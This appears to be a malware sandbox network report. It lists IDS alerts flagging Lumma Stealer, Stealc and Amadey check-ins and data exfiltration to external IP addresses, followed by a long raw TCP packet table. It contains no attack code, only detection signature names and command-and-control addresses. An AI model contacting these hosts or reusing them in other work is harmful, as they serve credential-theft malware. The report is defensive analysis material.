2024-12-24T12:39:10.115210+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	172.67.199.72	443	TCP
2024-12-24T12:39:11.762537+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	172.67.199.72	443	TCP
2024-12-24T12:39:13.985897+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	172.67.199.72	443	TCP
2024-12-24T12:39:16.348542+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	172.67.199.72	443	TCP
2024-12-24T12:39:19.206958+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	172.67.199.72	443	TCP
2024-12-24T12:39:19.951806+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	172.67.199.72	443	TCP
2024-12-24T12:39:21.694742+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	172.67.199.72	443	TCP
2024-12-24T12:39:21.699518+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49711	172.67.199.72	443	TCP
2024-12-24T12:39:25.195844+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49721	172.67.199.72	443	TCP
2024-12-24T12:39:25.991254+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49721	172.67.199.72	443	TCP
2024-12-24T12:39:27.451342+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49727	185.215.113.16	80	TCP
2024-12-24T12:39:48.539028+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49773	185.215.113.206	80	TCP
2024-12-24T12:39:48.977525+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49773	185.215.113.206	80	TCP
2024-12-24T12:39:49.098362+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49773	TCP
2024-12-24T12:39:49.415837+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49773	185.215.113.206	80	TCP
2024-12-24T12:39:49.644243+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49773	TCP
2024-12-24T12:39:51.070520+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49773	185.215.113.206	80	TCP
2024-12-24T12:39:51.762714+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49773	185.215.113.206	80	TCP
2024-12-24T12:40:18.602521+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49868	185.215.113.206	80	TCP
2024-12-24T12:40:20.547532+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49868	185.215.113.206	80	TCP
2024-12-24T12:40:21.889380+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49868	185.215.113.206	80	TCP
2024-12-24T12:40:23.113164+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49868	185.215.113.206	80	TCP
2024-12-24T12:40:26.629932+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49868	185.215.113.206	80	TCP
2024-12-24T12:40:27.753720+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49868	185.215.113.206	80	TCP
2024-12-24T12:40:33.851567+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49909	185.215.113.16	80	TCP
2024-12-24T12:41:06.722337+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49986	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 12:39:00.301151037 CET	49675	443	192.168.2.5	23.1.237.91
Dec 24, 2024 12:39:00.301182032 CET	49674	443	192.168.2.5	23.1.237.91
Dec 24, 2024 12:39:00.504261017 CET	49673	443	192.168.2.5	23.1.237.91
Dec 24, 2024 12:39:06.153234005 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:06.153294086 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:06.153379917 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:06.154694080 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:06.154716015 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:07.377902985 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:07.378065109 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:07.382210970 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:07.382220984 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:07.382636070 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:07.422277927 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:07.422277927 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:07.422394991 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:08.112528086 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:08.112628937 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:08.112742901 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:08.114814997 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:08.114845037 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:08.114857912 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:08.114865065 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:08.123373985 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:08.123405933 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:08.123507023 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:08.123752117 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:08.123760939 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:09.336266041 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:09.336350918 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:09.337505102 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:09.337515116 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:09.337835073 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:09.339023113 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:09.339051962 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:09.339093924 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:09.910512924 CET	49675	443	192.168.2.5	23.1.237.91
Dec 24, 2024 12:39:09.910520077 CET	49674	443	192.168.2.5	23.1.237.91
Dec 24, 2024 12:39:10.113601923 CET	49673	443	192.168.2.5	23.1.237.91
Dec 24, 2024 12:39:10.115179062 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.115230083 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.115279913 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.115287066 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.115297079 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.115335941 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.115340948 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.115365028 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.115391970 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.115406990 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.115411997 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.115449905 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.123403072 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.131900072 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.132090092 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.132100105 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.175995111 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.176002979 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.222985029 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.234476089 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.285614014 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.306943893 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.311151028 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.311181068 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.311271906 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.311307907 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.311321974 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.311414003 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.311427116 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.311436892 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.311443090 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.545738935 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.545782089 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:10.545885086 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.546344995 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:10.546364069 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:11.762466908 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:11.762537003 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:11.813926935 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:11.813945055 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:11.814266920 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:11.860157013 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:11.860304117 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:11.860363007 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:12.499322891 CET	443	49703	23.1.237.91	192.168.2.5
Dec 24, 2024 12:39:12.499491930 CET	49703	443	192.168.2.5	23.1.237.91
Dec 24, 2024 12:39:12.646356106 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:12.646466970 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:12.646624088 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:12.646778107 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:12.646792889 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:12.760623932 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:12.760653019 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:12.760751963 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:12.761089087 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:12.761099100 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:13.985743999 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:13.985897064 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:13.987816095 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:13.987823963 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:13.988152027 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:13.991014004 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:13.991619110 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:13.991651058 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:13.991707087 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:14.035341978 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:14.869039059 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:14.869129896 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:14.869194984 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:14.869458914 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:14.869486094 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:15.133480072 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:15.133547068 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:15.133644104 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:15.134001017 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:15.134032011 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:16.348443031 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:16.348541975 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:16.349860907 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:16.349885941 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:16.350224972 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:16.351850033 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:16.352003098 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:16.352047920 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:16.352121115 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:16.352138042 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:17.335165024 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:17.335467100 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:17.335644960 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:17.335644960 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:17.644750118 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:17.644778967 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:17.992665052 CET	49709	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:17.992712975 CET	443	49709	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:17.992913961 CET	49709	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:17.993207932 CET	49709	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:17.993225098 CET	443	49709	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:19.206798077 CET	443	49709	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:19.206958055 CET	49709	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:19.208887100 CET	49709	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:19.208895922 CET	443	49709	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:19.209213972 CET	443	49709	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:19.210617065 CET	49709	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:19.210789919 CET	49709	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:19.210803986 CET	443	49709	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:19.951771021 CET	443	49709	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:19.951869011 CET	443	49709	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:19.952044964 CET	49709	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:19.952186108 CET	49709	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:19.952208042 CET	443	49709	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:20.480380058 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:20.480426073 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:20.480573893 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:20.480818987 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:20.480843067 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.694664001 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.694741964 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.696386099 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.696397066 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.696717024 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.698124886 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.698869944 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.698908091 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.699021101 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.699064970 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.699168921 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.699225903 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.699363947 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.699398041 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.699572086 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.699599981 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.699783087 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.699809074 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.699821949 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.700054884 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.700088978 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.747340918 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.747519016 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.747559071 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.747574091 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.795370102 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.795556068 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.795608044 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.795627117 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.843336105 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.843445063 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:21.891345024 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:21.939054012 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:23.970989943 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:23.971076965 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:23.971151114 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:23.971414089 CET	49711	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:23.971435070 CET	443	49711	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:23.984641075 CET	49721	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:23.984711885 CET	443	49721	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:23.984787941 CET	49721	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:23.985167980 CET	49721	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:23.985188007 CET	443	49721	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:25.195769072 CET	443	49721	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:25.195843935 CET	49721	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:25.197469950 CET	49721	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:25.197484016 CET	443	49721	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:25.197873116 CET	443	49721	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:25.207829952 CET	49721	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:25.207950115 CET	49721	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:25.207993984 CET	443	49721	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:25.991249084 CET	443	49721	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:25.991358042 CET	443	49721	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:25.991452932 CET	49721	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:25.991560936 CET	49721	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:25.991592884 CET	443	49721	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:25.991610050 CET	49721	443	192.168.2.5	172.67.199.72
Dec 24, 2024 12:39:25.991616964 CET	443	49721	172.67.199.72	192.168.2.5
Dec 24, 2024 12:39:25.995318890 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:26.114866018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:26.115077972 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:26.115237951 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:26.234755993 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.451133013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.451170921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.451181889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.451308966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.451327085 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.451338053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.451342106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.451351881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.451400995 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.451400995 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.451546907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.451561928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.451575041 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.451594114 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.451615095 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.571026087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.571084976 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.571154118 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.643208027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.643289089 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.643341064 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.649483919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.649568081 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.649622917 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.657038927 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.659815073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.659868002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.659871101 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.667267084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.667319059 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.667391062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.675653934 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.675825119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.675857067 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.684026957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.684077024 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.684164047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.692765951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.692811012 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.692842960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.700809002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.700870037 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.700984001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.709228992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.709275007 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.709345102 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.717648029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.717694044 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.717755079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.726066113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.726114988 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.762957096 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.816653967 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.835774899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.835846901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.835912943 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.838426113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.838537931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.838596106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.843843937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.843914032 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.844022989 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.849220037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.849313974 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.849374056 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.854979992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.855057955 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.855114937 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.859466076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.859581947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.859632969 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.865200996 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.865469933 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.865523100 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:27.869853973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:27.870016098 CET	80	49727	185.215.113.16	192.168.2.5
